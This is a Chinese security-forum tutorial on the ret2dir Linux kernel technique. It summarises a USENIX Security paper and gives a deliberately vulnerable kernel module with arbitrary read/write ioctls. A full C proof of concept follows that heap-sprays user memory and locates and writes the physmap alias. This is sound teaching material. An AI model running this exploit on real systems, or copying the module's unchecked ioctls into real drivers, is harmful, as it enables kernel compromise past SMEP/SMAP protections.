首页
社区
课程
招聘
[原创]Linux内核Ret2dir
2020-12-5 00:52 12204

[原创]Linux内核Ret2dir

2020-12-5 00:52
12204

Linux内核Ret2dir(return-to-direct-mapped memory)

论文地址:https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf

 

作者:哥伦比亚大学

 

发表于: USENIX Security(%,计算机安全顶会)

The strategy of return-to-direct-mapped memory

ret2usr由于smep、smap等缓解机制导致内核与用户空间的隔离,使得原生的ret2usr难以直接利用。

 

而论文中提出关键的一点:

 

However, the implicit physical memory sharing between user processes and the kernel allows an attacker to deconstruct the isolation guarantees offered by ret2usr protection mechanisms, and redirect the kernel’s control or data flow to user-controlled code or data.

 

翻译一下就是:由于内核空间与用户和空间的 隐形内存共享 导致攻击者可以绕过ret2usr的保护机制,使得内核空间的执行流最终流向一块区域,这一块区域中的数据or指令是可以由用户控制的。

 

紧接着,作者提出:

 

A key facility that enables the implicit sharing of physical memory is physmap:a large, contiguous virtual memory region inside kernel address space that contains a direct mapping of part or all (depending on the architecture) physical memory.

 

重点在于physmap这一块在内核中连续的一块空间,并且physmap映射了部分或所有(取决于具体架构)的物理内存。

 

文章还指出:物理内存分配给用户和内核,可能产生别名现象,具体表现为:多块虚存映射到同一块物理内存地址。

 

而假设physmap能映射内核中大部分或全部物理地址,那么攻击者控制的用户进程就有可能通过地址别名来访问。

 

 

(感觉这个讲的比较清楚Orz)

 

总体来说:ret2dir利用kernel space与user space的隐形地址共享,使得要劫持的内核数据或者执行流进入这一别名空间,类似一种不用返回用户空间的ret2usr改进版。更重要的是我们的payload不需要显式的放入内核空间(比如使用堆喷等技术),当page frame被给予attack process的时候,我们的攻击payload就会 “emerges in kernel space”

 

但是这种技术仍有一些限制。

 

系统会对能分配给内核的kernel-resident buffer加以限制,使得我们的payload不一定出现在kernel space中,进而要求我们尽量将payload封装在一些内核数据对象中。

 

 

而这一块区域有以下极为重要的特性:

 

(i) there exists a direct mapping of part or all physical memory in kernel space.

 

(ii) the mapping starts at a fixed, known location. The latter is true even in the case where kernelspace ASLR (KASLR) [35] is employed

 

由后一条我们可以知道,即使开启了ASLR,这一块区域的位置也是固定的。那么我们只要找到基地址,就可以通过线性加减来得到其他的位置。

 

 

攻击过程:

 

1.申请大量内存(利用堆喷等),提高命中率。

 

2.泄露slab地址,计算physmap基地址。

 

3.劫持执行流到physmap。

举个例子

https://github.com/bsauce/CTF/tree/master/ret2dir/kpwn_driver

 

kpwn.c

 

实现了几个漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>
 
MODULE_LICENSE("Dual BSD/GPL");
#define READ_ANY  0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY   0xbeef
#define DEL_ANY   0x2333
 
struct in_args{
    uint64_t addr;
    uint64_t size;
    char __user *buf;
};
 
 
static long read_any(struct in_args *args){
    long ret = 0;
    char *addr = (void *)args->addr;
    if(copy_to_user(args->buf,addr,args->size)){
        return -EINVAL;
    }
    return ret;
}
static long write_any(struct in_args *args){
    long ret = 0;
    char *addr = (void *)args->addr;
    if(copy_from_user(addr,args->buf,args->size)){
        return -EINVAL;
    }
    return ret;
}
static long add_any(struct in_args *args){
    long ret = 0;
    char *buffer = kmalloc(args->size,GFP_KERNEL);
    if(buffer == NULL){
        return -ENOMEM;
    }
    if(copy_to_user(args->buf,&buffer,0x8)){  // (void *)buffer
        return -EINVAL;
    }
    return ret;
}
static long del_any(struct in_args *args){
    long ret = 0;
    kfree((void *)args->addr);
    return ret;
}
static long kpwn_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
    long ret = -EINVAL;
    struct in_args in;
    if(copy_from_user(&in,(void *)arg,sizeof(in))){
        return ret;
    }
    switch(cmd){
        case READ_ANY:
            ret = read_any(&in);
            break;
        case WRITE_ANY:
            ret = write_any(&in);
            break;
        case DEL_ANY:
            ret = del_any(&in);
            break;
        case ADD_ANY:
            ret = add_any(&in);
            break;
        default:
            ret = -1;
    }
    return ret;
}
static struct file_operations fops = {
    .owner = THIS_MODULE,
    .open =      NULL,
    .release =   NULL,
    .read =      NULL,
    .write =     NULL,
    .unlocked_ioctl = kpwn_ioctl
};
 
static struct miscdevice misc = {
    .minor = MISC_DYNAMIC_MINOR,
    .name  = "kpwn",
    .fops = &fops
};
 
int kpwn_init(void)
{
    misc_register(&misc);
    return 0;
}
 
void kpwn_exit(void)
{
    printk(KERN_INFO "Goodbye hackern");
    misc_deregister(&misc);
}
module_init(kpwn_init);
module_exit(kpwn_exit);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#define READ_ANY  0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY   0xbeef
#define DEL_ANY   0x2333
#define SIZE 1024*64    //64k
#define spray_times 32*32
struct in_args{
    uint64_t addr;
    uint64_t size;
    char *buf;
};
void *spray[spray_times];
void heap_spray(){
    void *mp;
    int i=0;
    for(i=0;i<spray_times;i++){    //64k * 1024 = 64M
        if((mp = mmap(NULL,SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
        perror("mmap failed!");
        exit(0);
        }
    memset(mp,'K',SIZE);    // filled with 'a'
    spray[i] = mp;          // record mmap addr
 
    }
    printf("[+] spray size: 0x%x\n",spray_times*SIZE);
}
 
void add_any(int fd,int size,char *buf){
    struct in_args in;
    in.buf = buf;
    in.size = size;
    ioctl(fd,ADD_ANY,&in);
}
void read_any(int fd,size_t addr,char *buf,int size){
    struct in_args in;
    in.buf = buf;
    in.size = size;
    in.addr = addr;
    ioctl(fd,READ_ANY,&in);
}
void write_any(int fd,size_t addr,void * buf, int size){
    struct in_args in;
    in.addr = addr;
    in.buf = buf;
    in.size = size;
    ioctl(fd,WRITE_ANY,&in);        // write buf to addr, size is rcx
}
size_t *check(){
    int i=0;
    for(i=0;i<spray_times;i++){
        size_t *p = spray[i];
        int j=0;
        while(j<SIZE/8){
            if(p[j]!=0x4b4b4b4b4b4b4b4b){//KKKKKKKKKKKK
                printf("[-] no KKKKKKKK\n");
                return &p[j];   
            }
            j += 0x1000/8;
        }
 
    }
    return NULL;
}
void dump_mem(char *buf,size_t num){
    size_t *buf64 = (size_t *)buf;
    puts("[+] dump changed memory start:");
    printf("[+] addr:%p\n",buf);
    for(int i=0;i<num;i++){
        printf("[- %p -] 0x%016lx\n",buf+=0x10,*(buf64+i));
    }
    printf("[+] dump end...\n");
}
int main(){
    int fd = open("/dev/kpwn",O_RDWR);
    if(fd<=0){
        perror("Fail:");
}
 
    printf("[*] fd number:%d\n",fd);
 
    char *buf = malloc(0x1000);
    printf("[*] malloc 0x1000 buf:0x%lx\n",(size_t)buf);
    char *dirty = malloc(0x100);
    printf("[*] malloc 0x100 dirty:0x%lx\n",(size_t)dirty);
    memset(dirty,'A',0x100);
 
 
    add_any(fd,0x200,buf);
    printf("[*] first kmalloc 0x200:0x%lx\n",((size_t *)buf)[0]);
 
 
    heap_spray();   // heap spray 64M
    size_t slab_addr = ((size_t *)buf)[0] & 0xffffffffff000000;
    printf("[*] slab addr:0x%lx\n",slab_addr);
 
 
   // size_t addr = slab_addr;
    char * target = "KKKKKKKKKKKKKKKK";
    size_t pos=0;
    size_t change_addr=0;
    size_t *buf64 = (size_t *)buf;
    size_t count=0;
    printf("[+] start to seaerch memory!\n");
    for(size_t addr = slab_addr;addr<0xffffc80000000000;addr+=0x1000){
 
        memset(buf,0,0x1000);               // reset buf to 0
        read_any(fd,addr,buf,0x1000);       // read 0x1000 (a page) to buf
        pos = (size_t)memmem(buf,0x1000,target,0x10);       // find target in memory
        //printf("[=] count:0x%lx,pos:0x%lx\n",count++,(size_t)pos);
        if(pos){
                change_addr = addr + (pos - (size_t)buf);
                printf("[+] phymap hit addr:0x%lx\n",addr);
                printf("[+] change addr:0x%lx\n",change_addr);
                write_any(fd,change_addr,dirty,0x20);
 
                size_t *p = check();
                if(p!=NULL){
 
                        printf("\n[+] Userspace already changed!\n");
                        dump_mem((char *)p,0x10);
                        break;
                    }
                }
}
 
 
    puts("[*] over -.-");
    getchar();
    return 0;
}

POC主要做了如下事情:

 

1.首先调用kmalloc申请0x200空间,计算出slab基地址。

 

2.在 用户态 喷射一大片空间,并用 'K' 填充,作为标记。

 

3.从内核slab基地址开始,在 内核空间 以页为单位向下搜索,直到找到标记了 'KKKKK...' 的空间,即找到了physmap的地方。

 

4.利用write函数在 内核空间 中修改被标记的 'KKKKK...'

 

5.验证 用户空间 中的 'KKKK...' 是否有发生变化。若发生变化,则说明POC成功。

 

效果:

 

以图说明:

 

参考

http://c.biancheng.net/view/1272.html

 

https://www.jianshu.com/p/3c662b6163a7

 

https://www.anquanke.com/post/id/185408


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞2
打赏
分享
最新回复 (2)
雪    币: 481
活跃值: (2163)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
Zard_ 2020-12-15 15:40
2
0
 给大佬端茶 
雪    币:
活跃值: (267)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Squirre17 2022-9-30 21:24
3
0
有一点不能理解,为什么开发者会设计出一片物理内存映射到两块区域呢,如果用户读取并修改了相关内核的数据不就是会造成严重的破坏吗(也就是不清楚这个到底是开发者因为什么目的而产生的feature还是单纯的设计失误)
游客
登录 | 注册 方可回帖
返回